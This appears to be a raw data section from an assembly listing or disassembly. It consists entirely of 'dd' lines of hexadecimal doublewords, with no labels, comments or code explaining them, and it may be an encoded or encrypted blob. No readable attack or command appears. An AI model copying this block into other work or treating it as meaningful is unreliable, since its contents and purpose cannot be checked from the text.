dd 68B00000h, 0C5885152h, 1A25F898h, 0C4A9742Fh, 5FA1B023h
dd 5436E2B7h, 0D2764BBCh, 5A919F42h, 31560305h, 0EF296932h
dd 69B338E9h, 0F0AD5029h, 5DF45A5Fh, 58F5F69Bh, 4C049092h
dd 0A159E828h, 85F62AFAh, 976DE84Ah, 0A68B8D0h, 6E30BF77h
dd 0BC60DBE9h, 56C3296Ch, 2C8B09BEh, 3F095D70h, 49AC79h
dd 7A46615Ah, 0A9050133h, 0E90E5606h, 5B7D7487h, 1B0500Fh
dd 2D05B6B3h, 6EC0C058h, 2880CBFEh, 48EE42F3h, 0BD72A432h
dd 68159A64h, 11BE3393h, 59242CEBh, 25241008h, 8851D61Ah
dd 81001FA1h, 0FE3D23CDh, 0DDF7300Ch, 152897BEh, 1C8184Ch
dd 6109798Ah, 0DE71EBC1h, 907C2CCh, 96E92670h, 0F62D7646h
dd 16FB52F9h, 350AFD68h, 6E29DDAEh, 0B86C4118h, 3DCE265Fh
dd 3E9E0200h, 9A00534Dh, 16114C1Eh, 0CC065768h, 1913FC5Bh
dd 310147B3h, 1F32630Bh, 0A46C0C80h, 0D9F70E90h, 0EE9A6EB8h
dd 5AB65D4Ah, 0F14AF10h, 54077FFh, 0CA94907Fh, 95DC44FEh
dd 0DA40BBEAh, 0CEDAC537h, 5EF72C89h, 13F42279h, 0C159850Fh
dd 3F01682Dh, 0E5E99230h, 0D9229D4Ch, 0BF4C1ACDh, 90916420h
dd 459C94E4h, 0FFD5348h, 5110C532h, 8F9A6051h, 0E444124Ah
dd 4DAA1C22h, 2DBBB219h, 0E3935B4h, 3D0711A8h, 0B66D2F56h
dd 0BA9E5BACh, 5DD0890Fh, 5BAF8DA4h, 122DA49Fh, 8815A013h
dd 0E52DF472h, 0AF895958h, 0D5F603C0h, 80EE861Ch, 0DECBBD9Dh
dd 0BB7E8151h, 0B320D188h, 305912CEh, 0A0ADECF0h, 91553668h
dd 0D854990Dh, 53162E74h, 68A8E2A8h, 0C343D026h, 3D44C2h
dd 45B280B0h, 50F6C2E0h, 0C18DBA48h, 419B6857h, 5722426h
dd 0E9050176h, 35D84282h, 70E345A1h, 0DC0357A8h, 0F0962C2Dh
dd 0A8F195FCh, 14DF062h, 315BFD30h, 80887E23h, 3B234187h
dd 0DA02448Dh, 0DF2902A5h, 84249ED5h, 5E4BA406h, 50C0A201h
dd 575FDC12h, 0F972E0D7h, 0F8FD90BFh, 89FCEF24h, 45B197FEh
dd 0D964C9EEh, 0F7C07B2Fh, 241F3ACEh, 754998h, 2662C045h
dd 40B47789h, 92E9242h, 56F6AA80h, 9619427h, 0C40E530Ch
dd 0B169E9D8h, 3EE324C8h, 0BB0E8F34h, 2468AC38h, 0C4882058h
dd 4B66FC95h, 0B99207E2h, 0D38848Eh, 9DE80B9Dh, 65CBB4C4h
dd 569E615Dh, 52AD2057h, 809DEA6h, 767EA21Bh, 0A1072040h
dd 0DF62DE17h, 89EC8F16h, 3B16F850h, 2D38A395h, 744CD99Dh
dd 887DA230h, 492F685Fh, 71AEB05Ch, 81220765h, 315A1EC9h
dd 78D1E938h, 0F7493A87h, 0F8B15150h, 83D598A9h, 4F5CF9BEh
dd 6299FF75h, 0E3BA5E0Fh, 0D3023821h, 0CC3CE6CEh, 99276027h
dd 0C7C0918h, 0FEF4D631h, 98064B0Ah, 0E9099F26h, 0F78DE00Eh
dd 70E1A0D6h, 3704241Bh, 1DCE2407h, 3FB78764h, 15B8331h
dd 38FEE9E1h, 43B50507h, 0DF0BC528h, 0C02A07EEh, 0B3530340h
dd 0B0E91249h, 3C7FB2BFh, 8DD3929Ch, 69A961E4h, 0CB640D9Bh
dd 7B077C5Bh, 0D780E068h, 9049597Fh, 604A3C97h, 30E91E06h
dd 8BE12594h, 29142903h, 0E9D201FFh, 886EBC02h, 0F6A8E78Bh
dd 1CFC2CB3h, 0A3307EF5h, 5B2E57A6h, 6849E433h, 1A28202Dh
dd 0D6110BAAh, 1B54A527h, 0AC785F59h, 6E4CF501h, 0E5585240h
dd 0B8013B55h, 5F126677h, 3B4F4860h, 2FF54524h, 0A752369Ch
dd 0F205D807h, 2DD00D5Ah, 4829687Eh, 0ED122735h, 0B53FE819h
dd 52F12CEBh, 4A4099BAh, 5392468h, 92B3638Fh, 0B9262012h
dd 418A29EBh, 0AC5E06h, 167958B9h, 629572Eh, 2702A99Bh
dd 8A5FFD2Ch, 0FF3E4462h, 27047322h, 0C2CB0F09h, 0E231E15Dh
dd 1297FC0Fh, 0D385ED2Dh, 5BBBB0C8h, 9FA58DC0h, 0C24C54DDh
dd 90CB790Eh, 30037BCDh, 6F642352h, 37276C72h, 0A2D7B59h
dd 26F8CA2h, 3506B44h
dd 6AD1CD80h, 292C795Eh, 82271F2h, 83E9EA12h, 9F7C2BF1h
dd 237EE2A7h, 381C57D2h, 82B0FF26h, 5095325Fh, 419FAA1Ah
dd 2D6666DAh, 8524F1DFh, 423CF1E9h, 423D6897h, 20892BD1h
dd 60A97476h, 748266DEh, 21691096h, 5A138056h, 6ECCB470h
dd 9BC9EBAEh, 815148C1h, 3F53B5DCh, 0C16B893Eh, 3142C14Ch
dd 0FF076E9Fh, 2965573h, 3180090Ch, 0F6E2AA8Ah, 742DC3D2h
dd 4894592Dh, 29DEE905h, 4FB3E978h, 0C9D3A307h, 25F074C1h
dd 24C930D9h, 96B031AFh, 22535F2Ch, 3F7CD39Ah, 0F48BAF89h
dd 60889E8Eh, 564FBF05h, 38822F17h, 2D408BBh, 42F41EF9h
dd 41DC8D89h, 417BE98Bh, 8C3089D9h, 4A21BF29h, 6034E4A3h
dd 0AC412661h, 5A2E162Ch, 0C54718E9h, 0AEB1D2EBh, 66549901h
dd 0EBBED117h, 0C14C78F0h, 0FBC0740Ch, 8022E29h, 0DEBC45E9h
dd 0C20245EBh, 0B71F409h, 7376BF00h, 4C295316h, 0EB0519FBh
dd 4DE0AA0h, 197CFF9h, 1E1BE568h, 0F0B1D1CBh, 0E2C6376Eh
dd 1ED7607Ah, 51D102FDh, 0E7C12510h, 589B0143h, 803FEBE9h
dd 211C43AEh, 2DFB890Fh, 0E404A0E9h, 0F62CBF48h, 0EA85055Dh
dd 0EBD0318Fh, 401DE92Ch, 0CB5B294Fh, 0DD0485CBh, 0F93F59E9h
dd 9827D5F1h, 91D0F70Dh, 0C398094Dh, 220896F9h, 0F1591695h
dd 0F875445Eh, 0B2978472h, 7D95B901h, 0CED420FAh, 0F3811FC0h
dd 0B883F897h, 0E38530E5h, 80C4FE2Ah, 8834F40Fh, 438E89E6h
dd 8A77A989h, 56896A2Ch, 7B89C67Eh, 0EAFC208Eh, 973AF777h
dd 15F51D0h, 6012A40Bh, 24D531F5h, 0BEC95F5Ah, 0F9C67A16h
dd 0F84C2021h, 15AB6966h, 0E4D9BB5Fh, 178A3321h, 0E1305567h
dd 1EB450BDh, 0D4D4F696h, 6079DDECh, 0DFCBE744h, 375C9B7Bh
dd 14341C06h, 0AAE80F52h, 0B0E6E912h, 0BF93ADF6h, 67EBD28Ch
dd 0FE6806F3h, 4D3F6CBh, 3068EEFCh, 0A93BCB34h, 0D81BC817h
dd 968D6CCh, 35935E94h, 7055BC80h, 0E9253C53h, 3C1B5B13h
dd 43A720A5h, 563A75F3h, 4B56B880h, 12707BA0h, 0BB3926F5h
dd 543D9509h, 0C2898385h, 56D247B9h, 0C882F450h, 0ACC7F104h
dd 686435FBh, 0C0C1B109h, 78015A3Ah, 18652FCEh, 34EFA5C9h
dd 3FB15DCAh, 12DC5325h, 42240FDh, 2CD0287Bh, 7904A8E9h
dd 0E7199B4h, 0BD5CAF64h, 5820F0C4h, 29592589h, 66837B7Ch
dd 0F96AAF7Fh, 43991B5Fh, 6E42B0C6h, 0A8C32E40h, 5CB131D2h
dd 0D058BF01h, 3D759100h, 0E94E4653h, 31257DEFh, 1BC920D9h
dd 980207F8h, 76340177h, 0E9577251h, 81CB8709h, 43CF2FEDh
dd 0E9EE3169h, 317643D6h, 0A8086813h, 0C9B64A33h, 426A795Ah
dd 4009E492h, 82EB403Fh, 4235ECF6h, 78EA2CBEh, 0DF35F963h
dd 343D9881h, 0CA38485Bh, 0C751B169h, 0A5AFFEA5h, 1049D9F3h
dd 81FA2314h, 4283E52h, 7F050768h, 8B8B1D87h, 2B717FD6h
dd 0F75FE350h, 594B79D3h, 0B5BB151h, 0EEC06DF1h, 0C01F8B0h
dd 2BB353EDh, 9DBC8E9h, 895BDAF7h, 0E9847765h, 0F81202B0h
dd 7C8D9EB9h, 0E141E723h, 4002FC5h, 681E66AFh, 82D63B93h
dd 0F85A1F49h, 0D8574B3Eh, 94975F8Dh, 0A30F2688h, 8814421Fh
dd 0FE4DCB20h, 0CF65B0C3h, 86F9B3EBh, 57520022h, 0B3406768h
dd 2E02625Fh, 0E09D0A46h, 58070E2Ch, 0AF1043DFh, 0B16839A9h
dd 0E8FBE773h, 0C15A346Fh, 204BB747h, 2BA48D3h, 0C5C82925h
dd 9ACCA5C3h, 921EA125h, 3F6783A3h, 0AA1D1305h, 6AF34087h
dd 832C6B28h, 0AC8A8BF7h, 948C64Bh, 4FCE560Ah, 42348B80h
dd 0C12D43E8h, 48C8C0E3h, 0A3C9123Fh, 0E9A50501h, 54B64EB8h
dd 0A78539CAh, 1612EA70h, 0C6471E9Fh, 0C2CC043h, 0C2BB13ECh
dd 40CC12A3h, 706C2DD2h, 481E4297h, 0E702E0D1h, 769E3341h
dd 0BE560F60h, 68216243h, 0B013022Ch, 0AF0F4EC0h, 294B2Ch
dd 8E5E6DCh, 0C13076B5h, 0F5C6B4EEh, 0FCDC09FFh, 0C8F4F301h
dd 28C4F069h, 2061E39Eh, 314A1DF1h, 59D042A0h, 3BDACF13h
dd 0F4EBB28Fh, 655F63E2h, 29EB51Bh, 0DA885C77h, 38F540E1h
dd 6F04D348h, 0AC0FE768h, 52669F00h, 42981FB2h, 0B52DA340h
dd 269FC76Eh, 131901D1h, 0C816C068h, 6AF25609h, 0FCBC484Eh
dd 0ED28D715h, 19770981h, 0FCE83031h, 38E4C8BDh, 96FA846Dh
dd 780864Dh, 0F0D8CBF2h, 26EFC05Eh, 2F071157h, 5B0BD729h
dd 14F563C2h, 0F0ED4CE4h, 0ABB1A814h, 6E503A8Bh, 134C149Dh
dd 0B659D068h, 9274279h, 0D6149C68h, 2A0A6204h, 6DC3C104h
dd 5B4BCB40h, 485280CDh, 434B69E6h, 0E90BDEB2h, 0A023DD18h
dd 9B9F5FFDh, 0EB416412h, 0ED518C1Fh, 14987C08h, 94D70313h
dd 92DD2971h, 1725A6F2h, 2F9D236h, 0E63A7D29h, 846316F5h
dd 85E620B0h, 0E12DFC96h, 0ED7D50F5h, 9C9F810h, 4B1F6B6h
dd 3C4F1FEh, 0F15875D2h, 996609EFh, 68E39D5Eh, 48BF8D12h
dd 80021E89h, 0E22806EAh, 0EBCA4065h, 64FA95F0h, 24C29E75h
dd 0E11C5F09h, 9105225Ah, 2D7900h, 933E9068h, 47772232h
dd 0D6F70A34h, 0CD09FA53h, 297832EFh, 97DDD05Eh, 0DDA0E971h
dd 196BDA1Dh, 91DE945h, 0A6B83CD4h, 0FA057281h, 2D92141h
dd 0FBC007EDh, 0D6371099h, 628F160Ch, 82ADE36Dh, 9AA8C99h
dd 1217BD80h, 892E0903h, 0ED2A2DC8h, 12501949h, 79BD055Bh
dd 36093548h, 25804D6Ah, 5B610AF6h, 0E604C1F8h, 1EB36803h
dd 1CDA898h, 21231D22h, 3FF7E9DEh, 7DCED640h, 0EC330B37h
dd 274F09EEh, 3F862B0Ch, 60CB85Eh, 1EF093D2h, 4591703h
dd 105D1261h, 5B2D0856h, 0B7181DC2h, 0B04E6DE9h, 3489DA5Eh
dd 0AFC182ADh, 0EF307606h, 4F201569h, 7ABA5256h, 75507207h
dd 732E6BEh, 0FA74D04Eh, 1757EE9Ch, 0B9C2813Bh, 0C8AA50A8h
dd 0EEC78980h, 95384E32h, 9332ECE8h, 562CC456h, 0F6CC4001h
dd 0BA80DE39h, 0C0D6941Bh, 0C63878A2h, 0E9F00BF3h, 0F429C211h
dd 49551EA8h, 4E59DC45h, 6B05B58Fh, 81502092h, 2C4DC9F1h
dd 103C15F4h, 0F5077BA6h, 659F105Ah, 0DC8A36B2h, 0A8544B07h
dd 0D18D2FB8h, 0E6559215h, 9F7916D3h, 1370CB45h, 7861DF8Dh
dd 9D53DEE8h, 0E919AB66h, 0EB931B4Fh, 0B8E8946Eh, 0B3E9C2DEh
dd 0A81ED39Ah, 6FA49DE4h, 0E825942Fh, 0C68E048h, 33E6971Ah
dd 139D5C25h, 0EAF9C260h, 0B5B5867Ch, 70B8B0B5h, 28FAC96Fh
dd 40BD024Ch, 4C7B707Eh, 0C978ED09h, 4BC5010Dh, 4203D1ADh
dd 3CD46AE9h, 0D830AC07h, 0A5BDC982h, 9BEC57D6h, 1242091Fh
dd 0B6DF5346h, 825CCB40h, 43646Eh, 0C32FB3BEh, 55F9767Ah
dd 7720BFD5h, 5671105h, 0C80127D0h, 5907042Dh, 16FFB687h
dd 6800C8BEh, 0C4E9358Ah, 9D2A41Ah, 18450672h, 511FA0C6h
dd 0AE4070B9h, 6BDCB80Fh, 98557231h, 55429512h, 0ACD5D589h
dd 9EE0D850h, 7D5C8365h, 88D92E3Dh, 45D56491h, 0CFFB431Eh
dd 0F578292h, 58844E8Bh, 427BC15Eh, 0EF258018h, 5064582h
dd 7833B859h, 5EC083CDh, 494FB523h, 982567A8h, 1D09D889h
dd 0C518C448h, 142C780h, 0CB669538h, 0DE6A291Eh, 68999875h
dd 0E971C2BCh, 0C1C6150Eh, 0AD9231F1h, 243CEF10h, 3FB4234h
dd 5D8D0402h, 52A1CEE3h, 0E6E820B6h, 0BFD140h, 4DA56E0Fh
dd 685FF989h, 10102C25h, 27595855h, 0D15EE8D1h, 527DFC82h
dd 988A400Dh, 0F4626A6h, 122A1074h, 0B109E628h, 0FD195D1Ah
dd 0F3F22E52h, 965D5CB2h, 0F630B5CFh, 205016E9h, 0F709E20Ch
dd 7D58CD67h, 0BD555498h, 3F10B809h, 0DE418018h, 0A1A6F339h
dd 0FD24D0E4h, 3B800768h
dd 0C25E2662h, 0B1751A03h, 0DC081114h, 0EFC9814Fh, 69848FF6h
dd 46CE6170h, 0CAE0C540h, 85F15B8Bh, 41E801C0h, 0BA2C920Fh
dd 48670498h, 9B6573Ah, 15427227h, 0E3E5197Fh, 4830EE34h
dd 0B52061E8h, 5A034698h, 99B5E70h, 4BB412F2h, 0C43BFC07h
dd 0AFD4F711h, 2B1F0BC1h, 5AD58800h, 52C5801Ch, 0B006EDD7h
dd 4B2A8406h, 9F30E259h, 0DE4029D3h, 0B850435Bh, 7D7271B3h
dd 126C4F21h, 0E060FA53h, 0E4B46857h, 5F722792h, 20A357Eh
dd 0D5058347h, 9EC15B65h, 9A7B8C43h, 0CFAC4E4Bh, 0F5DBA84Fh
dd 0B8920F34h, 831F51Fh, 0B3D4D209h, 46685860h, 3EE7B537h
dd 61D1F014h, 0B2499BDAh, 4E186360h, 0E4124413h, 48B4E317h
dd 565E8176h, 8C64D1E9h, 0FC90509h, 0FDFE2684h, 69C658BDh
dd 46686C0Ch, 0FE90A59h, 0CF92D4D5h, 5C38200h, 175948CCh
dd 60251E68h, 0FE0DBF62h, 0E3C1020Bh, 52270B03h, 3D21E884h
dd 2C2A1416h, 59AC76D8h, 0A84E5DAAh, 0E1CBB51Ah, 2243E34Ah
dd 92B2529h, 8072197Ch, 0EA73FEACh, 4BD1601Bh, 1CBF3646h
dd 2B67E913h, 4AC500BCh, 0C7ACF401h, 313B9D94h, 0F367447h
dd 4F211A60h, 79DFCBCFh, 5DCC9B4Bh, 23A72568h, 8690BAECh
dd 3252C85Ah, 0A8ED4BF5h, 5876C868h, 95257A5Eh, 665F97C0h
dd 723A4C96h, 2CF38E3Ch, 3F1FDF81h, 10B7015Fh, 0C581838h
dd 86385C9h, 991F4427h, 0CD3A38EBh, 7C9530B9h, 0C187B160h
dd 5FACC857h, 0F9D1A1A2h, 42385Ah, 0CA14DDBAh, 4CEAC16Ah
dd 960C0B07h, 3FA25336h, 0B850AA40h, 3A010B49h, 0AE8B2FF7h
dd 96D5CC42h, 2968165Fh, 4AE2A73Bh, 365417D5h, 0E2552758h
dd 43B7F43h, 33AE97E9h, 745C256Ch, 7F6262E6h, 2077BF00h
dd 294807BCh, 0E2575FF8h, 0A0DD280Dh, 33E8EA16h, 0C73EED02h
dd 5FE91247h, 591C65F8h, 5165EF80h, 0D03B383Ch, 0F9EBC596h
dd 0CDE2CCE9h, 0C8B34853h, 0A293C612h, 0FE089245h, 0FCAE2021h
dd 0B6C4B72Eh, 0DBE65C5Bh, 7389052Fh, 646F0E5Ch, 29BAAD0Bh
dd 96612085h, 15112102h, 0DC9A52E9h, 93696B1Ah, 1909CF34h
dd 0C43BE168h, 8A32201Bh, 3F9228D4h, 40ED925Fh, 23B59000h
dd 0F383101Fh, 11F57881h, 6B510C5Fh, 0D5B9B1C5h, 58B1C78Ch
dd 0CC75E913h, 9710DFA6h, 8951167Eh, 59CF3604h, 1DB1AF81h
dd 0AA1B313Ah, 0AF7365D8h, 812BF25Eh, 622C3BDh, 0C136D79Eh
dd 3B215A40h, 0A60C0504h, 0E12FA113h, 26706C9Eh, 0A118BEADh
dd 0B7DDF70Ch, 0BAC55C68h, 3A0B3F05h, 4D022E9h, 4FB7BFh
dd 0F78125CEh, 766643C7h, 7141315Fh, 39CC3061h, 8EE7123Bh
dd 0CB431A56h, 6EF701B1h, 0C856C5Eh, 827E7809h, 107AFD90h
dd 0A402EE3Eh, 0BB8F0A12h, 969014Ah, 0F4F1DD21h, 0BF03122Ah
dd 0CF378379h, 1DD47D10h, 0FECDF509h, 0CC3E0EB6h, 8997C41Eh
dd 0C854FED2h, 0E5EC08DEh, 0C51C522Ch, 22563C05h, 19049A12h
dd 5D0CE710h, 6082CE2Ah, 0BB6A515Ah, 4E8D12F6h, 96C9522Ch
dd 0AA68AFA1h, 13D86619h, 92D20FD3h, 2FE30004h, 0FFA03E17h
dd 84277089h, 1CD157h, 0DB75120Dh, 7400251Ah, 2D422317h
dd 7F9E2B79h, 5C680A46h, 93C5446Eh, 2AE1E811h, 0A783F958h
dd 0B37F29EAh, 57EAC2B3h, 0BD9C4A14h, 0CCADF1E8h, 0F8F626BFh
dd 0A21C9691h, 347506D7h, 20C230Dh, 3ADD1DECh, 9060FA01h
dd 53025C95h, 0E9DE8708h, 30E5F826h, 0CD5A5557h, 337DB818h
dd 3FE0DB55h, 62969A01h, 0C810D8Dh, 0DBC7A3CAh, 83782131h
dd 0E532E654h, 0EE362062h, 242CD225h, 0C7167C00h, 0E38F117h
dd 0D0106F3Eh, 4BD15F07h, 98697165h, 0AC0624A4h, 0F104A5D2h
dd 913C65Bh, 0E770770Bh, 0FE804A5Fh, 74D355F2h, 417DB0D4h
dd 7EC22E8Dh, 0ADA2C553h, 0E92F1566h, 5D900225h, 93835729h
dd 1204B80Fh, 7C4F684Bh, 880520CDh, 1155E587h, 3A0A92A9h
dd 8ABF875h, 5A13FD3Fh, 5C01ECD0h, 27407EACh, 16540F73h
dd 9AB9E363h, 5982DF7Bh, 0FC098613h, 0F0A16EDCh, 79391A16h
dd 63C30E62h, 0E0532F60h, 8D5AB7F3h, 0C68BCBCh, 4ACEE983h
dd 21ACEF4Eh, 0A48EC4h, 5148DBBEh, 9EB907Bh, 0F8955ACFh
dd 312770F8h, 4FB864FDh, 7BC9F711h, 6F0B744Ah, 0F1F84859h
dd 0B97882C1h, 64C6DA25h, 4BC6BD9Fh, 0EC7BCB22h, 0B4D1E7Fh
dd 0A971C944h, 1444B1F6h, 3C2D0EA1h, 275582E4h, 0F382C6ABh
dd 5679EEFBh, 76B5AC42h, 0B61962E4h, 0B371381h, 10863C5Eh
dd 0E44B1FC4h, 250532A1h, 0D52987F4h, 4F4E11Ch, 2D5A88EAh
dd 6B1E9C01h, 5F8017Eh, 28BF0744h, 0CE2EE937h, 74A5ACD6h
dd 0ED9E6F66h, 1BF0C289h, 0F1886664h, 0D099D8EAh, 0BA01AA96h
dd 436E7499h, 1F69E2E0h, 8135B11Fh, 0E73725CAh, 2FF2310Eh
dd 8B4B4B1Fh, 5BEF7488h, 98C3EF84h, 0B450A028h, 7880798Bh
dd 52E30F6Ah, 1613E5B2h, 0F5E3092Ah, 5E61997Fh, 0B804A06Bh
dd 35737204h, 3182E7C1h, 687169DFh, 8C2B76F9h, 49456108h
dd 0BD9E0A6Bh, 0EDF46989h, 0F201FBA4h, 285D46E1h, 0D7C41F6Eh
dd 0C0C52DB5h, 5B0C66DDh, 0AC84ED80h, 41039836h, 8EBAE0B9h
dd 6DE3504h, 1BBE2C1h, 0DD30E3FBh, 0B2648427h, 30822E46h
dd 65EECA9Fh, 575612A2h, 4E038A20h, 0E909A5B3h, 0FA5282E5h
dd 819DA3EEh, 80C1FE5Ah, 84208B31h, 0AF6880CFh, 71AC704Bh
dd 3DF0E9E1h, 55E20695h, 589EAA23h, 0F38B15A5h, 7620497Ah
dd 30B5B80Ah, 780B0B23h, 0BBF65348h, 14150330h, 0C76B06EBh
dd 0E660770Bh, 0E3180E4Bh, 0C30A1889h, 24F77C80h, 958AD929h
dd 7F9FB45Bh, 0E92AC3FDh, 0B3E17FCh, 7B9F7D5Eh, 11FBF3Fh
dd 0F5F42FBh, 77DC0B7h, 0CD4A53D5h, 5E286E2Ah, 7109CF55h
dd 2025F144h, 2C90CAB0h, 0C11F0B8Bh, 9D8408EAh, 5176EA89h
dd 0AF772F48h, 3C318BA1h, 0A7A03A32h, 0DC6082EFh, 0DE12106Bh
dd 9AF893Eh, 9FF9ED5Ch, 0EB5408h, 6AB753ACh, 0C031C7FEh
dd 0E4B572EFh, 0B77EE39h, 5704A18h, 0F0550731h, 47B5BA47h
dd 369230E8h, 21E6A516h, 515BDF03h, 8E114FB9h, 7FC1042Ah
dd 0EF722356h, 0EF501890h, 0E99D17E2h, 0B8E523E6h, 594B1680h
dd 0B729E09Dh, 0F01A9DC4h, 0B1510B40h, 0CA88CC0Fh, 0B3530059h
dd 5ED4E9D3h, 809BC981h, 0B68AB526h, 70EE802Ch, 0D066E65Eh
dd 590B0616h, 8AAFC7E9h, 0F1C0929Dh, 8FEF359Eh, 0A97AF1BEh
dd 70F50017h, 9832C763h, 188C01FEh, 0F921EE67h, 90DFD2E9h
dd 656D35D9h, 465F5A2Ch, 5CD6018Dh, 0B5606E3h, 75CBECBAh
dd 20CB3F70h, 70B0555Ah, 0AF83CBC6h, 0FE8A78B4h, 646B404Eh
dd 0A8E90288h, 0B62D25D2h, 0BF9FC23Ah, 14028DABh, 9357E870h
dd 791217C7h, 4C83E214h, 1AC2B433h, 74C75F3Dh, 0FB932D3Fh
dd 93EA6F4h, 0C8FCD1F5h, 421E56E9h, 1175A5B0h, 372C53B9h
dd 704F9C07h, 585E606Fh, 0C971BEBBh, 1CD2EA48h, 3040818h
dd 0E684F301h, 396C0818h, 6D2D817Fh, 880500A4h, 6879F057h
dd 255B4EE1h, 0FAC590FFh, 7A28DD75h, 45E1DA8Fh, 2F60FE08h
dd 0B58AE1E9h, 40ADDD45h, 0C0A25EA2h, 7F9ABB1Eh, 0C6C03684h
dd 664237EDh, 0D0F72E48h, 0E68F156Eh, 0A0D8AC2Dh, 0F828FA10h
dd 0E9CB314Bh, 6F4FE331h, 0F4CA44B0h, 0B6D7B28Bh, 0CF04D2B9h
dd 9E34BCBAh, 0AAA08509h, 0DA022A11h, 894DF85Bh, 0CAE810BBh
dd 17791D88h, 0D9EA8E3Dh, 0B87F37C4h, 0FBA45EB5h, 97DA9A3Eh
dd 9C7F8D42h, 0FC5B4B7Ch, 254AB18Bh, 4480EB04h, 481978DBh
dd 2900293Fh, 0E9C0E687h
dd 9EA8CA1Dh, 762D730Ah, 2FDB780Eh, 0E6E0E5C1h, 9504710Bh
dd 9972E906h, 3F2767E6h, 0ED07545Ah, 65BD582Eh, 2D725B3h
dd 29130D28h, 2F54DA7h, 0C0D8F754h, 4BAB1B6Ch, 2ED3A1AFh
dd 6EA07024h, 0D987275Bh, 0E9C192DCh, 83052AD5h, 638720Ah
dd 25875F4Ah, 66EC065Dh, 101C0B68h, 85A68DE9h, 4203C50h
dd 12D99D14h, 4442B92Ch, 53890F97h, 3C04155Eh, 0B7C53930h
dd 6408688h, 0FE0A6E35h, 402C665h, 86283F2Dh, 0FFA55DF5h
dd 8333BB44h, 0E9690A29h, 82AECD6Ch, 22392AD0h, 0F61C9940h
dd 89045E74h, 25B2E9DFh, 8EDE69BFh, 333668A8h, 0C7A640ECh
dd 7A93BCA9h, 7F5CB522h, 0BE5826A2h, 0F7E59514h, 26127425h
dd 6B11021Ah, 0AB5760A6h, 83C669CCh, 0DB9868DAh, 8EA85C30h
dd 9B3C924h, 25D456Fh, 5CE5EA6Fh, 0EB48097Ah, 0CC25C5F1h
dd 30F87DEAh, 0E9875930h, 519F3AF4h, 0EAD8E317h, 4E34BF3Dh
dd 0D449FACAh, 0CED12984h, 0DB01248Ah, 0DF042897h, 0C103D6B2h
dd 0B1F918E8h, 9AE93293h, 6F187DABh, 0CC634EE9h, 9A5AD3D3h
dd 2FE561C3h, 0A3019462h, 357D6658h, 840BA5A7h, 0BC8056B7h
dd 49345DDDh, 0E90DA937h, 0E4F51252h, 893D101Dh, 2C969767h
dd 49359ECh, 7A339F0h, 7FB9C580h, 0AA99989h, 9B48968Bh
dd 457A37EEh, 18058700h, 291EF835h, 0A1C4B5F0h, 924A2D38h
dd 0BBA4ABC9h, 0D6AB5EBh, 45EC4641h, 8881AA33h, 387C08C1h
dd 18B4F518h, 0C34B6887h, 0B7C5E3A8h, 72BED90h, 0A60459EEh
dd 4F53765Ch, 26C0F78Dh, 0E7428950h, 0CAF90BC5h, 44AF32Fh
dd 0A36BC268h, 50BF11D6h, 12881950h, 0C542E9D4h, 2E65FEh
dd 0F16FC143h, 0D398E91Ah, 0AE50E702h, 88CE0162h, 982C0894h
dd 5E499B78h, 9712B0BAh, 76E10DD3h, 0D8F5CD7Ch, 109F649Ah
dd 4E8BF889h, 9C9E608h, 0B0734E68h, 9498C2CFh, 0CFB38120h
dd 3F29B8B2h, 5AC79F09h, 54E91751h, 0ABDD9020h, 12416373h
dd 724D12Dh, 0E98702B9h, 0E6A3ADCAh, 0AEC1C4C1h, 71D83AB0h
dd 0F76C5EE4h, 0BC3217Ch, 30ABC568h, 56E0EBD4h, 336E55BEh
dd 0B6B07291h, 81631380h, 4F93E307h, 0F36045DFh, 7CCF7EF2h
dd 0B2CB060Eh, 0C3E0F75h, 0D9047F01h, 0EAD6E950h, 0A5445633h
dd 84BB7053h, 1374DA20h, 0C58E130h, 0CAD20829h, 0AC172C3Bh
dd 3BA4AB33h, 0F5909C02h, 0F9C27FDFh, 0E91370D8h, 0CBAC73E5h
dd 9FD0F8D2h, 0FAA4D79Fh, 0C1D7CA52h, 0C082FA1h, 978A7C82h
dd 0BA20B0C9h, 15A1454Eh, 30473140h, 0D81F5832h, 87208F4Ch
dd 4EAC116h, 50CCEE01h, 0DD404526h, 95C53164h, 105FC72h
dd 0D895E9D1h, 0B290ECB8h, 0C4712C00h, 41F68170h, 656E201Dh
dd 0DB3CE80h, 984E61DEh, 8B4B097Bh, 68413EF5h, 5D09E6DDh
dd 0D04A1693h, 7C7E14A6h, 3DE5B457h, 0CB481151h, 8030B21Dh
dd 0B578AED0h, 0E3F11C13h, 0FB118996h, 0BD81D15Fh, 2D82D2DBh
dd 3C01AAA9h, 0D10F4305h, 7E482102h, 89D03392h, 0A609D4F2h
dd 0AA14450Dh, 0B114C38Dh, 0D40968C3h, 204F0507h, 0C325280Ah
dd 0E7F6875h, 0A1030D5Eh, 993CF680h, 6BEC7FC6h, 0E7BFA99Ah
dd 43187C92h, 0DFF75B34h, 6808EFD8h, 0C25E5C24h, 78FD31C5h
dd 2158C705h, 0D30DECF8h, 280B1416h, 4EB3EB30h, 0AD94F836h
dd 282A0609h, 0E9125389h, 25AEE62Ch, 488BE801h, 77E3186Eh
dd 0CB4B018h, 0C8FED72Ch, 0F696C3A8h, 6AA9F273h, 1C16DF3Dh
dd 24171F20h, 243D9F7h, 0A5ECBA54h, 511CD17Ch, 0EBE7D0ACh
dd 66C4F2BAh, 0F5FEF5E4h, 3C4F2D00h, 583A0424h, 2F0EB11Ch
dd 0DF41D772h, 8E6C15Eh, 7607EECCh, 78370981h, 21DD4DB6h
dd 0A4E9A51Bh, 17305E21h, 2EE541BBh, 0FFEF088Dh, 20115259h
dd 0F2B01118h, 87CCE259h, 0E6B295B6h, 9054015h, 3FC59750h
dd 888EB682h, 0C63002F0h, 5EE2960h, 1731C90h, 0E916F1ECh
dd 0FF302C3Bh, 9773B468h, 95E44F18h, 0E4586E9Dh, 3648BFD3h
dd 608271ACh, 3B61E01Fh, 0ED24D2E1h, 21910446h, 12D6D429h
dd 0A5AAFC08h, 317CFDB1h, 0CC93E480h, 76012D1Fh, 2979A97Eh
dd 74405E8h, 0D9DDD18h, 0B0818291h, 6A4F8321h, 0E6CFBB04h
dd 4D8041Ch, 0FF81BE48h, 126272D1h, 0CA28A200h, 0FED2F659h
dd 70E5C27Ah, 1E49883Dh, 0E2D1251Bh, 0BBAEC54Dh, 9B46F200h
dd 55E98CCEh, 0A94C629Dh, 5C3A7427h, 3F09CA98h, 356923Eh
dd 0CCD1061Bh, 6C4B7DC0h, 22486042h, 4C219D09h, 0EF92A6B6h
dd 65FB39C4h, 0F6B78480h, 0D3CE1686h, 36639A90h, 373A7BC0h
dd 6917BD6Fh, 0F0BDF3FEh, 0D7502DC9h, 98049BB2h, 6949AE63h
